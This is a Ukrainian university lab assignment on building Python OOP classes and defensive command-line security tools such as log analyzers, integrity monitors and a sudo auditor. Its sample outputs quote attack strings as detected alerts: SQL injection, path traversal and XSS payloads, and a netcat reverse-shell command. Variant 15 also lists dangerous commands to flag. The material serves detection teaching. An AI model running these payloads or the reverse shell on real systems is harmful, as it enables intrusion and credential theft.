Лабораторна робота №2

Тема: Розробка консольних утиліт для задач кібербезпеки

Мета

1. Закріпити та поглибити знання з об’єктно-орієнтованого програмування (ООП) в Python: створення класів, інкапсуляція, наслідування, композиція, спеціальні методи класів та декоратори `@property`, `@dataclass`.
2. Опанувати роботу зі стандартною бібліотекою Python для обробки даних: маніпуляція шляхами та файлами (`pathlib`), робота з форматами JSON та CSV, обробка дати і часу (`datetime`), використання спеціалізованих структур даних (`collections`) та регулярних виразів (`re`).
3. Навчитися будувати надійні та стійкі консольні програми (CLI-утиліти): обробка винятків, валідація вхідних даних, структуроване логування подій (`logging`) та розбір аргументів командного рядка (`argparse`).

План виконання роботи

1. Підготовка репозиторію та середовища: Продовжити використання репозиторію cybersecurity-python-labs, створити нову папку labs/lab02, оновити залежності.
2. Виконання Завдання 1 (Об’єктно-орієнтоване програмування): Реалізація системи моделювання користувачів, безпечних сесій та логування на основі класів.
3. Виконання Завдання 2 (Консольна утиліта кібербезпеки): Розробка повноцінної CLI-утиліти відповідно до варіанта за допомогою argparse, logging, pathlib, re та модулів обробки даних.
4. Контроль якості коду через Ruff: Перевірка та автоматичне форматування всього коду лабораторної роботи за допомогою ruff check та ruff format.
5. Зберегти код у Git-репозиторії. Підготовка фінального звіту, збереження результатів та відповіді на контрольні питання.

---

1. Робота з репозиторієм та структура проєкту

Використайте **той самий репозиторій, віртуальне середовище та номер варіанта**, що в ЛР №1. Не створюйте новий репозиторій. Перевірте, що `shared/student.py` містить `VARIANT_NUMBER` від 1 до 15. Усі наведені команди виконуйте з кореня репозиторію; запускайте модулі через `python -m ...`.

```
cybersecurity-python-labs/
├── .gitignore
├── requirements.txt                  # ruff та наявні залежності проєкту
├── shared/
│   ├── __init__.py
│   └── student.py                     # VARIANT_NUMBER із ЛР №1
└── labs/
    ├── __init__.py
    ├── lab01/                         # ЛР №1
    └── lab02/
        ├── __init__.py
        ├── main.py                    # команди demo та analyze
        ├── task1.py                   # класи та демонстрація ООП
        ├── task2.py                   # утиліта за своїм варіантом
        ├── README.md                  # інструкція запуску
        └── data/                     # вхідні файли свого варіанта
```

Тестові дані для Завдання 2 будуть надані в окремому архіві `lab2_data.zip`. Розпакуйте каталог свого варіанта в `labs/lab02/data/`. Переконайтеся, що `ruff` зазначено в спільному `requirements.txt`; в активованому середовищі з ЛР №1 виконайте `pip install -r requirements.txt`. У репозиторії мають бути код, `README.md` і файл залежностей. Додайте до `.gitignore` `.venv/` та `__pycache__/`. Працюйте лише з навчальними даними з архіву; не публікуйте реальні журнали, паролі чи ключі.

---

2. Індивідуальні завдання

Завдання 1. Модель користувача й облікового запису

Покроковий план реалізації (файл `labs/lab02/task1.py`):

1. **Віртуальне середовище.** Активуйте середовище з ЛР №1 та встановіть залежності проєкту командою `pip install -r requirements.txt`.
2. **Клас `User`.** Атрибути `username: str`, `email: str`, `role: str`, `active: bool`, приватні `__password_hash` і `__password_salt`. Ініціалізуйте об'єкт через конструктор. Методи `set_password(password: str)`, `check_password(password: str) -> bool`, `deactivate()` і `__str__()`. Для пароля використайте `hashlib.pbkdf2_hmac("sha256", ...)` з окремою випадковою сіллю (`os.urandom()`), кількістю ітерацій в іменованій константі та `hmac.compare_digest()` при перевірці. Не зберігайте й не показуйте пароль у відкритому вигляді. **`@property` для `email`:** читання і запис із перевіркою через `re`; локальна частина починається з латинської літери, має 3–64 символи з латинських літер, цифр або `_`, далі `@` і доменне ім'я з принаймні однією крапкою. За помилки — `ValueError`. Це спрощена перевірка заданого формату.

3. **Клас `Admin(User)` (наслідування).** Додайте `permissions` як список або множину дозволів. Реалізуйте `grant_permission(permission: str)`, `revoke_permission(permission: str)`, `has_permission(permission: str) -> bool` і перевизначте `__str__()` для показу прав. Використайте `super()` у конструкторі й не задавайте змінювану колекцію типовим аргументом.
4. **Клас `Session`.** Поля `ip: str`, `login_time: datetime`, `last_activity: datetime`. `touch()` оновлює `last_activity`, а `is_active(timeout_sec: int) -> bool` порівнює різницю між поточним часом та останньою активністю через `timedelta`. Використовуйте час UTC із часовим поясом (`datetime.now(timezone.utc)`), щоб уникнути неоднозначності локального часу; відхиляйте непозитивний `timeout_sec`.
5. **Клас `AuditLog`.** Зберігайте записи (час UTC, користувач, дія) у списку; окремий запис реалізуйте як `@dataclass`. Методи `add_log(username, action)` і `show_all()`. Задавайте дії так, щоб було видно результат: `login_success`, `login_failure`, `logout`. Не записуйте паролі в журнал.
6. **Клас `UserAccount` (композиція і спеціальні методи).** Об'єднайте `User`, `Session` та `AuditLog`; об'єкти можна передати або створити в конструкторі. `login(username, password, ip)` перевіряє активність користувача та пароль через `check_password()`, створює сеанс лише після успіху, викликає `touch()` і додає подію до `AuditLog`. Метод `is_authenticated() -> bool` перевіряє, чи є сеанс і чи не минув час його дії (константа `SESSION_TIMEOUT_SEC = 900`); невдала перевірка не подовжує сеанс. Метод `logout()` завершує сеанс і фіксує подію в аудиті. Реалізуйте `__getitem__` та `__setitem__` для дозволених атрибутів, наприклад `account["user"]`. Невідомий ключ — `KeyError`, неправильний тип значення — `TypeError`; хеш і сіль пароля не відкривайте через ключі.
7. **Сценарій демонстрації (`labs/lab02/main.py`).** Створіть об'єкти й покажіть: успішний і невдалий вхід, зміну email із валідацією, права адміністратора, завершення сеансу за таймаутом, вихід із системи та записи `AuditLog`. Запускайте демонстрацію командою `python -m labs.lab02.main demo`; вона не повинна виконуватися при імпорті `task1.py`.

У звіті поясніть, де застосовано наслідування і композицію та чому запис аудиту зручно описати через `@dataclass`. Пряме обчислення `sha256(password)` не слід використовувати для зберігання паролів у справжніх системах.

Завдання 2. Консольні утиліти за варіантами

Варіант 1: Аналізатор журналів веб-сервера (Nginx/Apache Access Log)

- **Задача:** Розробити консольну утиліту для аналізу текстових файлів `access.log`.

- **Функціонал:**
    1. Розбір рядків логу за допомогою регулярних виразів `re` (IP, дата/час, HTTP-метод, URI, статус-код, розмір відповіді).
    2. Підрахунок топ-N IP-адрес із найбільшою кількістю відповідей із помилками (статус-коди 4xx та 5xx) за допомогою `collections.Counter`.
    3. Пошук сигнатур базових атак у запитах (SQLi, Directory Traversal, XSS) за допомогою `re`.
    4. Фільтрація запитів за часовим інтервалом (`datetime`).
    5. Логування процесу роботи (`logging`) та вивантаження звіту в JSON або CSV.
- **CLI Аргументи:** `--log-file` (шлях), `--output` (шлях до звіту), `--min-status` (наприклад, 400), `--top` (кількість IP, дефолт: 5), `--format` (`json` / `csv`).
- **Приклад виконання скрипта:** *Консольне виведення під час запуску утиліти:*

```
[INFO] Loading access log from data/access.log...
[INFO] Processed 1250 log entries from 2026-09-27 08:00:00 to 2026-09-27
12:00:00.

=== Top-3 IP Addresses with Error Statuses (4xx/5xx) ===
192.168.1.105 - 142 errors (404: 120, 500: 22)
10.0.0.42     - 89 errors  (403: 80, 404: 9)
172.16.0.12   - 35 errors  (502: 35)

=== Detected Attack Signatures ===
[ALERT] Potential SQLi attack from 192.168.1.105: "GET /index.php?id=1' UNION
SELECT NULL,password FROM users--"
[ALERT] Potential Directory Traversal from 10.0.0.42: "GET
/static/../../../../etc/passwd"
[ALERT] Potential XSS from 172.16.0.88: "POST /contact <script>alert('xss')
</script>"

[INFO] Analysis report saved to data/web_analysis_report.json
```

Варіант 2: Детектор цілісності файлів та каталогів (File Integrity Monitor - FIM)

- **Задача:** Розробити утиліту для моніторингу несанкціонованих змін у критичних директоріях.
- **Функціонал:**
    1. Рекурсивне сканування вказаної директорії за допомогою `pathlib.Path`.
    2. Обчислення SHA-256 хеш-сум файлів та збереження інформації в класи даних `@dataclass` (шлях, хеш, розмір, дата модифікації).

3. Режим `generate`: створення еталонного контрольного файлу `baseline.json`.
4. Режим `check`: порівняння поточного стану з `baseline.json` та виявлення створених, видалених або модифікованих файлів.
5. Фіксація тривожних подій у лог-файлі через `logging.warning`.

- **CLI Аргументи:** `--dir` (директорія), `--baseline` (шлях до JSON), `--mode` (`generate` / `check`), `--log-file`.
- **Приклад виконання скрипта:** *Консольне виведення у режимі перевірки цілісності (--check):*

```
[INFO] Loading baseline file: data/baseline.json
[INFO] Scanning directory: /etc/nginx/

=== File Integrity Inspection Summary ===
Total monitored files : 18
Unchanged files       : 15
Modified files        : 1
Created files         : 1
Deleted files         : 1

=== Detected Anomalies ===
[MODIFIED] /etc/nginx/nginx.conf
  Expected SHA-256 :
a1b2c3d4e5f67890123456789abcdef0123456789abcdef0123456789abcdef0
  Actual SHA-256   :
f9e8d7c6b5a43210987654321fedcba0987654321fedcba0987654321fedcba0
[CREATED]  /etc/nginx/conf.d/backdoor.conf (Size: 512 B)
[DELETED]  /etc/nginx/conf.d/ssl.conf

[WARNING] Security alerts detected! Check audit log at data/fim_audit.log
```

Варіант 3: Валідатор та аналізатор конфігурацій правил фаєрвола

- **Задача:** Аналіз та перевірка цілісності правил мережевого екран з CSV/JSON файлу.
- **Функціонал:**
  1. Зчитати список правил фаєрвола (ID, Source IP/Subnet, Destination IP, Port, Action: ALLOW/DENY).
  2. Валідація коректності IP-адрес та масок за допомогою регулярних виразів `re`.
  3. Пошук дубльованих або суперечливих правил (наприклад, одне правило дозволяє трафік, а інше аналогічне — блокує) за допомогою `collections.defaultdict`.

4. Виявлення потенційно небезпечних дозволяючих правил (`Action: ALLOW` для `Port: ANY` або `Source: 0.0.0.0/0`).
5. Генерація логів аудиту та збереження очищеного списку правил у новий JSON-файл.

- **CLI Аргументи:** `--rules-file` (шлях), `--output` (шлях), `--check-conflicts` (прапорець), `--log-level`.
- **Приклад виконання скрипта:** *Консольне виведення під час аудиту правил фаєрвола:*

```
[INFO] Parsing firewall rules from data/firewall_rules.json...
[INFO] Total rules parsed: 24. Validating IP syntax and rule logic...

=== Firewall Configuration Audit Report ===
Invalid IP Formats : 0
Conflicting Rules  : 2 conflicts found
Duplicate Rules    : 1 duplicates found
High-Risk Rules    : 2 dangerous ALLOW ALL rules

=== Critical Findings ===
[CONFLICT] Rule #5 (ALLOW 192.168.1.0/24 -> Any:80) conflicts with Rule #12
(DENY 192.168.1.0/24 -> Any:80)
[HIGH-RISK] Rule #8: ALLOW Any -> Any:ANY (Unlimited exposure)
[HIGH-RISK] Rule #15: ALLOW Any -> 10.0.0.5:22 (SSH publicly accessible)

[INFO] Security report successfully exported to data/fw_audit_report.json
```

Варіант 4: Парсер логів аутентифікації SSH / Linux Auth Log

- **Задача:** Утиліта для виявлення спроб підбору паролів (Bruteforce) у файлі `auth.log`.
- **Функціонал:**
  1. Парсинг подій `Failed password` та `Accepted password` за допомогою регулярних виразів `re`.
  2. Фіксація IP-адреси, імені користувача та мітки часу (`datetime`).
  3. Агрегація спроб входу за часовим вікном (наприклад, понад N невдалих спроб за M хвилин з однієї IP) за допомогою `collections.defaultdict`.
  4. Формування списку IP-адрес, що підлягають блокуванню.
  5. Вивід результатів у текстовий або JSON-звіт та логування через `logging.error`.
- **CLI Аргументи:** `--auth-log` (шлях), `--threshold` (поріг спроб, дефолт: 5), `--window-min` (хвилини), `--output-json`.

- **Приклад виконання скрипта:** *Консольне виведення під час розбору журналу SSH:*

```
[INFO] Analyzing authentication events in data/auth.log...
[INFO] Processed 3400 lines (Time range: 2026-09-27 00:00:00 - 06:00:00)

=== SSH Bruteforce Detection Results ===
Failed Attempts Threshold: >10 attempts in 5 minutes

[ALERT] Bruteforce Detected! IP: 198.51.100.44 | Total Failures: 145 | Target
Users: root, admin, user
[ALERT] Bruteforce Detected! IP: 203.0.113.88   | Total Failures: 82  |
Target Users: root, oracle

=== Recommended Blocklist (IPs) ===
198.51.100.44
203.0.113.88

[INFO] Exported blocklist to data/blocklist_ips.json
```

Варіант 5: Сканер доступності мережевих сервісів та перевірка портів

- **Задача:** Консольна утиліта аудиту доступності мережевих вузлів зі списку.
- **Функціонал:**
  1. Зчитати список цільових хостів та портів із файлу JSON або CSV (`pathlib`).
  2. Валідація доменних імен та IP-адрес через `re` .
  3. Симуляція/перевірка мережевого підключення з обробкою винятків (таймаути, помилки з'єднання).
  4. Класифікація статусу вузлів через `@dataclass` (Host, Port, Status, ResponseTime).
  5. Формування підсумкової таблиці статистики та запис аудиторського логу через `logging` .
- **CLI Аргументи:** `--targets` (шлях до JSON), `--timeout` (секунди), `--out-csv` (файл результату), `--verbose` .
- **Приклад виконання скрипта:** *Консольне виведення результатів сканування доступності:*

```
[INFO] Starting service availability scan from target list
data/targets.json...

Target Host       Port   Service    Status    Response Time  Notes
------------------------------------------------------------------------------
192.168.1.1       80     HTTP       ONLINE    12.4 ms        OK
192.168.1.1       443    HTTPS      ONLINE    18.1 ms        OK
192.168.1.10      22     SSH        ONLINE    2.1 ms         OK
192.168.1.50      3389   RDP        OFFLINE   TIMEOUT        Connection timed
out
10.0.0.1          53     DNS        ONLINE    5.3 ms         OK

=== Scan Statistics ===
Total Scanned : 5
Online        : 4 (80.0%)
Offline       : 1 (20.0%)

[INFO] Detailed scan report saved to data/scan_results.csv
```

Варіант 6: Аудитор надійності та масок словників паролів

- **Задача:** Утиліта для аналізу якісного складу текстових словників паролів.
- **Функціонал:**
  1. Порядкове читання великих словників паролів за допомогою генераторів для економії пам’яті.
  2. Аналіз масок паролів (наприклад, `Upper-Lower-Digit-Special` -> `UlLd`) за допомогою регулярних виразів `re`.
  3. Підрахунок топових масок паролів у словнику за допомогою `collections.Counter`.
  4. Розрахунок середньої довжини та кількості слабких паролів (менше вказаної довжини).
  5. Запис детальної статистики у файл JSON та логування прогресу обробки.
- **CLI Аргументи:** `--wordlist` (шлях), `--min-length` (число), `--top-masks` (число), `--output-stats`.
- **Приклад виконання скрипта:** *Консольне виведення під час аудиту словника паролів:*

```
[INFO] Processing dictionary file data/rockyou_sample.txt using generators...
[INFO] Analyzed 50,000 passwords.

=== Password Dictionary Audit Summary ===
Total Passwords     : 50,000
Weak Passwords (<8) : 18,450 (36.9%)
Average Length      : 7.8 characters

=== Top-5 Password Masks ===
1. Lowercase-Digit (LdLd)               : 14,200 (28.4%) [e.g. password123]
2. All-Lowercase (LLLL)                 : 12,100 (24.2%) [e.g. admin]
3. Upper-Lower-Digit (UlLd)              : 8,500  (17.0%) [e.g. Password123]
4. All-Digits (dddd)                    : 6,200  (12.4%) [e.g. 12345678]
5. Complex (Upper-Lower-Digit-Special)  : 3,100  (6.2%)  [e.g. P@ssw0rd!]

[INFO] Dictionary statistics saved to data/mask_audit_report.json
```

Варіант 7: Аналізатор журналів активності користувачів (User Activity Audit)

- **Задача:** Утиліта для виявлення аномальної активності співробітників у корпоративній системі.
- **Функціонал:**
  1. Читання CSV-файлу дій користувачів (Timestamp, UserID, Action, Resource, IP).
  2. Парсинг дат за допомогою `datetime` та виявлення дій, виконаних у позаробочий час (наприклад, з 22:00 до 06:00 або у вихідні дні).
  3. Групування дій за користувачами за допомогою `collections.defaultdict`.
  4. Виявлення користувачів із масовими запитами до критичних ресурсів.
  5. Збереження підозрілих подій у JSON та логування тривог.
- **CLI Аргументи:** `--activity-log` (шлях), `--after-hours` (прапорець), `--out-report` (шлях), `--log-file`.
- **Приклад виконання скрипта:** *Консольне виведення аналізу активності користувачів:*

```
[INFO] Reading user activity log data/user_activity.csv...
[INFO] Total records processed: 820.

=== Off-Hours Activity Alerts (22:00 - 06:00 / Weekends) ===
[ALERT] User 'j_smith' performed 45 actions at 02:14:03 (Resource:
Confidential_HR_DB)
[ALERT] User 'm_taylor' accessed 'Finance_Server_NAS' on Sunday 03:45:12 from
IP 192.168.1.110

=== Mass Download Anomalies (>50 requests/min) ===
[ALERT] User 'j_smith' executed 120 GET requests to /api/v1/export within 60
seconds.

[INFO] Anomalous activity report written to data/off_hours_audit.json
```

Варіант 8: Фільтр та аналізатор журналів DNS-запитів

- **Задача:** Утиліта для пошуку підозрілих DNS-запитів та потенційних DGA-доменів.
- **Функціонал:**
  1. Зчитати журнал DNS-транзакцій (Timestamp, ClientIP, Domain, QueryType).
  2. Фільтрація доменів за допомогою регулярних виразів `re` (пошук занадто довгих піддоменів, специфічних TLD).
  3. Перевірка доменів на входження до локального чорного списку (Blacklist) із файлу.
  4. Розрахунок статистики запитів за типами (A, AAAA, TXT, MX) за допомогою `collections.Counter`.
  5. Запис знайдених аномальних запитів у CSV-файл та логування через `logging`.
- **CLI Аргументи:** `--dns-log` (шлях), `--blacklist` (шлях до файлу), `--out-csv`, `--min-domain-len`.
- **Приклад виконання скрипта:** *Консольне виведення аналізатора DNS-запитів:*

```
[INFO] Parsing DNS log file data/dns_queries.log...
[INFO] Processed 5,400 DNS query records.

=== Query Type Breakdown ===
A    : 3,800 (70.4%)
AAAA : 1,100 (20.4%)
TXT  : 350   (6.5%)
MX   : 150   (2.8%)

=== Suspicious DNS Activity ===
[BLACKMATCH] Client 192.168.1.45 queried blacklisted domain: malicious-
phish.xyz
[DGA-DETECT] High entropy / suspicious subdomain: qx9z1a87b32m.evil-c2.net
(Client: 10.0.0.18)
[DGA-DETECT] Abnormally long TXT query domain: payload.stage1.hidden-
tunnel.org (Length: 84)

[INFO] Suspicious records exported to data/dns_alerts.csv
```

Варіант 9: Аудитор безпеки HTTP-заголовків відповідей

- **Задача:** Аналіз файлу з дампами HTTP-заголовків веб-серверів на відповідність кращим практикам безпеки.
- **Функціонал:**
  1. Читання JSON-файлу, що містить HTTP-заголовки відповідей різних ресурсів.
  2. Перевірка наявності критичних заголовків безпеки: `Strict-Transport-Security`, `Content-Security-Policy`, `X-Frame-Options`, `X-Content-Type-Options`.
  3. Перевірка витоку версій програмного забезпечення у заголовках `Server` та `X-Powered-By` за допомогою `re`.
  4. Розрахунок підсумкового індексу безпеки (Score) для кожного ресурсу.
  5. Збереження результатів аудиту у CSV-файл та логування відсутніх заголовків.
- **CLI Аргументи:** `--headers-file` (шлях), `--output-csv` (шлях), `--strict` (прапорець), `--log-level`.
- **Приклад виконання скрипта:** *Консольне виведення результатів перевірки HTTP-заголовків:*

```
[INFO] Auditing HTTP response headers from data/http_headers.json...

Target Resource               Security Score  Status   Missing Security
Headers
-------------------------------------------------------------------------
----------
https://secure.example.com    95/100 (A+)     PASS     None
https://legacy.example.com    40/100 (F)      FAIL     Strict-Transport-
Security, Content-Security-Policy
https://portal.example.com    65/100 (C)      WARN     X-Frame-Options

=== Server Software Leak Alerts ===
[LEAK] https://legacy.example.com leaks version in 'Server': Apache/2.4.41
(Ubuntu)
[LEAK] https://portal.example.com leaks tech stack in 'X-Powered-By':
PHP/7.4.3

[INFO] Header audit report generated at data/headers_audit.json
```

Варіант 10: Монітор термінів дії SSL/TLS сертифікатів

- **Задача:** Утиліта аналізу файлу даних сертифікатів та контролю термінів їх дійсності.
- **Функціонал:**
  1. Читання JSON-файлу з даними про SSL-сертифікати вузлів (Domain, Issuer, ValidFrom, ValidTo, KeyLength).
  2. Розрахунок кількості днів до закінчення терміну дії за допомогою `datetime.now()` та `timedelta`.
  3. Виявлення сертифікатів, що закінчуються у заданий проміжок днів, або застарілих алгоритмів підпису за допомогою `re`.
  4. Агрегація за видавцями (Issuer) за допомогою `collections.Counter`.
  5. Формування звіту про загрози у CSV/JSON та вивід сповіщень через `logging.warning`.
- **CLI Аргументи:** `--certs-data` (шлях), `--days-warning` (число, дефолт: 30), `--output-report`, `--format`.
- **Приклад виконання скрипта:** *Консольне виведення моніторингу SSL-сертифікатів:*

```
[INFO] Loading SSL certificates data from data/ssl_certs.json...
[INFO] Audited 15 domain certificates.

=== Certificate Expiry & Safety Status ===
Domain               Issuer             Days Left  Status    Signature Alg
-------------------------------------------------------------------------
internal.corp.ua     Let's Encrypt      12 days    WARNING   ECDSA-SHA256
legacy-app.local     Self-Signed        -5 days    EXPIRED   SHA1withRSA
(WEAK)
api.company.com      DigiCert           240 days   OK        RSA-SHA256

=== Issuer Statistics ===
DigiCert      : 8
Let's Encrypt : 5
Self-Signed   : 2

[WARNING] 1 certificate(s) EXPIRED! 1 certificate(s) expiring within 30 days!
[INFO] Report saved to data/ssl_expiry_report.csv
```

Варіант 11: Аудитор ARP-таблиць та виявлення ARP-Spoofing

- **Задача:** Утиліта для аналізу зліпків ARP-кешу мережевого обладнання та виявлення аномалій.
- **Функціонал:**
  1. Читання текстового або CSV-файлу ARP-таблиці (IP Address, MAC Address, Interface, Type).
  2. Валідація коректності IP та MAC-адрес за допомогою регулярних виразів `re`.
  3. Пошук дубльованих MAC-адрес для різних IP (сигнал можливої атаки ARP-Spoofing / Man-in-the-Middle) за допомогою `collections.defaultdict`.
  4. Збереження виявлених конфліктів у клас даних `@dataclass`.
  5. Логування критичних подій безпеки та експорт звіту в JSON.
- **CLI Аргументи:** `--arp-file` (шлях), `--output-json` (шлях), `--detect-spoofing` (прапорець), `--log-file`.
- **Приклад виконання скрипта:** *Консольне виведення аудитора ARP-таблиці:*

```
[INFO] Parsing ARP table snapshot from data/arp_table.csv...
[INFO] Validated 45 IP/MAC entries.

=== Validated Entries Summary ===
Valid IP/MAC Pairs : 43
Invalid Syntax     : 0

=== CRITICAL SECURITY ALERTS: ARP-SPOOFING DETECTED ===
[ALERT] MAC Address Duplicate Conflict!
  MAC Address: 00:11:22:33:44:55 associated with MULTIPLE IP addresses:
  - 192.168.1.1   (Default Gateway)
  - 192.168.1.105 (Suspicious Host)
  -> POSSIBLE MAN-IN-THE-MIDDLE / ARP-SPOOFING ATTACK IN PROGRESS!

[INFO] Critical conflict logged to data/arp_security_alerts.json
```

Варіант 12: Аналізатор заголовків електронної пошти та фішингових індикаторів

- **Задача:** Утиліта для розбору та аудиту поштових логів на наявність ознак фішингу.
- **Функціонал:**
  1. Зчитати файл із дампами заголовків листів (From, Return-Path, Received, Subject, Reply-To).
  2. Перевірка невідповідності домену в адресі `From` та `Return-Path` / `Reply-To` за допомогою `re`.
  3. Пошук підозрілих слів у темі листа (`Subject`) за словником стоп-слів.
  4. Обчислення кількості проміжних вузлів ретрансляції у заголовках `Received`.
  5. Формування звіту з оцінкою підозрілості листа та запис логів через `logging`.
- **CLI Аргументи:** `--mail-log` (шлях), `--suspicious-keywords` (шлях до словника), `--out-csv`, `--debug`.
- **Приклад виконання скрипта:** *Консольне виведення під час аналізу поштових заголовків:*

```
[INFO] Analyzing email headers dump from data/email_headers.json...
[INFO] Total emails inspected: 8.

=== Phishing & Spoofing Audit Results ===
[HIGH RISK] Email ID #104 | Subject: "URGENT: Password Reset Required"
  - Sender Mismatch : From: "support@bank.com" vs Return-Path: "hacker@phish-
domain.ru"
  - Reply-To Mismatch: "collect@phish-domain.ru"
  - Stopwords Found : ['URGENT', 'Password Reset']
  - Hop Count       : 7 intermediate relays (Abnormal)
  - Risk Score      : 90/100 (CRITICAL PHISHING SUSPECT)

[INFO] Phishing audit summary exported to data/phishing_report.json
```

Варіант 13: Сканер витоків конфіденційних даних (PII Exfiltration Scanner)

- **Задача:** Утиліта для пошуку незахищених персональних даних (PII) у лог-файлах та текстових документах.
- **Функціонал:**
  1. Рекурсивне сканування директорії за допомогою `pathlib.Path`.
  2. Пошук за допомогою регулярних виразів `re` таких даних: e-mail адреси, номери банківських карток, номери телефонів, IP-адреси.
  3. Маскування знайдених даних (наприклад, `4111-****-****-1111`) для безпечного відображення.
  4. Підрахунок кількості знайдених конфіденційних записів за типами (`collections.Counter`).
  5. Запис підсумкового аудиторського звіту в JSON та логування попереджень.
- **CLI Аргументи:** `--scan-dir` (директорія), `--patterns` (`all` / `cards` / `emails`), `--mask` (прапорець), `--out-json`.
- **Приклад виконання скрипта:** *Консольне виведення сканера PII-витоків:*

```
[INFO] Scanning directory /var/log/app_logs for unmasked PII data...
[INFO] Scanned 24 files.

=== Detected Sensitive Data (PII) ===
Email Addresses    : 142 matches
Credit Card Numbers: 15 matches
Phone Numbers      : 38 matches
IPv4 Addresses     : 512 matches

=== Sample Findings (Masked for Display) ===
[PII FOUND] File: /var/log/app_logs/debug.log (Line 42)
  Credit Card : 4111-****-****-1111 (Original masked)
  Email       : u****r@example.com

[WARNING] Unmasked PII found in plaintext logs!
[INFO] Sanitized report saved to data/pii_scan_summary.json
```

Варіант 14: Агрегатор інцидентів та сповіщень EDR / Антивіруса

- **Задача:** Утиліта для консолідації та аналізу логів антивірусного захисту.
- **Функціонал:**
  1. Читання JSON-файлу логів антивірусної системи (AlertID, Timestamp, Hostname, ThreatName, Severity, ActionTaken).
  2. Фільтрація подій за рівнем критичності (`Severity` : `Low` , `Medium` , `High` , `Critical`).
  3. Агрегація кількості інцидентів за хостами та типами загроз за допомогою `collections.defaultdict` .
  4. Пошук неліквідованих загроз (`ActionTaken != 'Quarantined'` та `ActionTaken != 'Deleted'`).
  5. Експорт агрегованого звіту у CSV та логування через `logging.error` .
- **CLI Аргументи:** `--edr-log` (шлях), `--min-severity` (наприклад, `High`), `--out-csv` , `--log-file` .
- **Приклад виконання скрипта:** *Консольне виведення агрегатора сповіщень EDR:*

```
[INFO] Aggregating EDR alerts from data/edr_events.json...
[INFO] Processed 320 antivirus incident events.

=== Severity Distribution ===
Critical : 5
High     : 28
Medium   : 112
Low      : 175

=== Unresolved Security Threats (Action Not Quarantined/Deleted) ===
[CRITICAL] Host: WS-FINANCE-04 | Threat: Win32.Trojan.Ransomware | Action:
Active / Block Failed
[HIGH]     Host: SERVER-DB-01 | Threat: HackTool.Mimikatz       | Action:
Ignored by User

=== Top Affected Hosts ===
1. WS-FINANCE-04 (12 threats)
2. SERVER-DB-01  (8 threats)

[INFO] Aggregated incident matrix saved to data/edr_summary.csv
```

Варіант 15: Аудитор логів використання привілейованих команд (Sudo / Privileged Access)

- **Задача:** Консольна утиліта аналізу файлів журналів `sudo.log` для виявлення підозрілих команд.
- **Функціонал:**
  1. Парсинг рядків логу sudo за допомогою регулярних виразів `re` (Timestamp, User, TTY, PWD, TargetUser, Command).
  2. Виявлення спроб виконання команд від імені `root`.
  3. Пошук потенційно небезпечних команд (наприклад, `chmod 777`, `nc`, `nmap`, `dd`, редагування `/etc/shadow`).
  4. Підрахунок кількості запусків суперечливих команд для кожного користувача за допомогою `collections.Counter`.
  5. Збереження результатів аудиту у JSON-файл та надсилання попереджень у лог.
- **CLI Аргументи:** `--sudo-log` (шлях), `--alert-commands` (список або файл), `--out-json`, `--log-level`.
- **Приклад виконання скрипта:** *Консольне виведення аналізатора логів sudo:*

```
[INFO] Parsing sudo usage logs from data/sudo.log...
[INFO] Processed 1,150 privileged execution entries.

=== Privileged Execution Summary ===
Total Sudo Commands : 1,150
Root Executions     : 890

=== Suspicious / High-Risk Command Executions ===
[ALERT] User 'developer1' executed: 'sudo chmod -R 777 /var/www' on TTY=pts/2
[ALERT] User 'qa_tester'   executed: 'sudo nc -e /bin/bash 10.0.0.1 4444' on
TTY=pts/0
[ALERT] User 'j_smith'     executed: 'sudo cat /etc/shadow' on TTY=pts/1

=== Top Sudo Users ===
1. sysadmin  : 650 commands
2. developer1: 310 commands (High risk commands: 5)

[INFO] Privileged command audit saved to data/sudo_audit_report.json
```

---

3. Вхідні дані для Завдання 2

Тестові файли для всіх 15 варіантів **будуть надані окремо в архіві** `lab2_data.zip`. Кожний варіант незалежний і має власну піддиректорію `data/data_vNN/`, де `NN` — двозначний номер (`data_v01`, ..., `data_v15`). Після розпакування розмістіть каталог свого варіанта в `labs/lab02/data/`. Зберігайте назви та вкладеність файлів із архіву. У `README.md` вкажіть, які саме файли програма приймає на вхід і приклади команд із їхніми фактичними назвами.

---

4. Перевірка коду та звіт

В активованому середовищі, з кореня репозиторію:

```
ruff check .
ruff format --check .
```

За потреби запустіть `ruff check --fix .` та `ruff format .`, потім повторіть обидві перевірки. Звичайна конфігурація Ruff не вмикає всі можливі правила стилю, зокрема не гарантує наявності docstring. Оцініть читабельність і правильність алгоритму окремо. Якщо з ЛР №1 залишилися налаштування Ruff, використайте їх для всього репозиторію.

У `labs/lab02/README.md` наведіть номер і назву варіанта, установлення залежностей, структуру файлів зі свого каталога в `lab2_data.zip`, приклади запуску `demo` й `analyze`, опис параметрів CLI та поведінку при помилках. У звіті додайте посилання

на репозиторій і коміт, схему взаємодії класів Завдання 1, команди запуску Завдання 2, зразки вхідних даних і результатів **свого варіанта**, пояснення знайдених аномалій та результати обох команд Ruff. Зафіксуйте код у репозиторії командами `git add`, `git commit`, `git push`.

---

5. Контрольні питання для обговорення (Захист роботи)

1. Як в Python реалізована інкапсуляція? Чим відрізняються атрибути `_password_hash` (protected) та `__password_hash` (private)? Що таке Name Mangling?
2. Яку перевагу надає використання декоратора `@property` для атрибута `email` у порівнянні з явним викликом методів `get_email()` та `set_email()`?
3. У Завданні 1 клас `Admin` успадковує `User`, а клас `UserAccount` містить об'єкти `User` та `Session`. Чому обрано саме такі архітектурні рішення (принцип "Is-A" проти "Has-A")?
4. Для чого реалізуються спеціальні методи `__getitem__` та `__setitem__`? Як це змінює інтерфейс взаємодії з об'єктом класу `UserAccount`?
5. Які рутинні методи (`__init__`, `__repr__`, `__eq__`) автоматично генерує декоратор `@dataclass`? У яких випадках доцільніше використати `@dataclass` замість звичайного класу або словника?
6. Чому модуль `pathlib` вважається більш сучасним та безпечним інструментом для роботи зі шляхами, ніж традиційний `os.path` або робота зі звичайними рядками?
7. Які переваги дає використання `collections.Counter` та `collections.defaultdict` при аналізі великих лог-файлів?
8. Як у модулі `argparse` реалізується додавання обов'язкових та позиційних аргументів, прапорців (flags) та типів даних? Чому валідацію типів аргументів варто робити на рівні `argparse`?
9. Чим використання модуля `logging` краще за звичайні виклики `print()` у консольних утилітах кібербезпеки? Яку роль відіграють рівні логування (`DEBUG`, `INFO`, `WARNING`, `ERROR`, `CRITICAL`)?
10. Які категорії помилок (наприклад, невикористані імпорти, складність функцій, помилки стилю) виявив аналізатор Ruff у вашому коді і як ви їх усунули?

Корисні посилання (Теоретичні джерела)

- **Класи та об'єкти в Python:** https://docs.python.org/uk/3/tutorial/classes.html

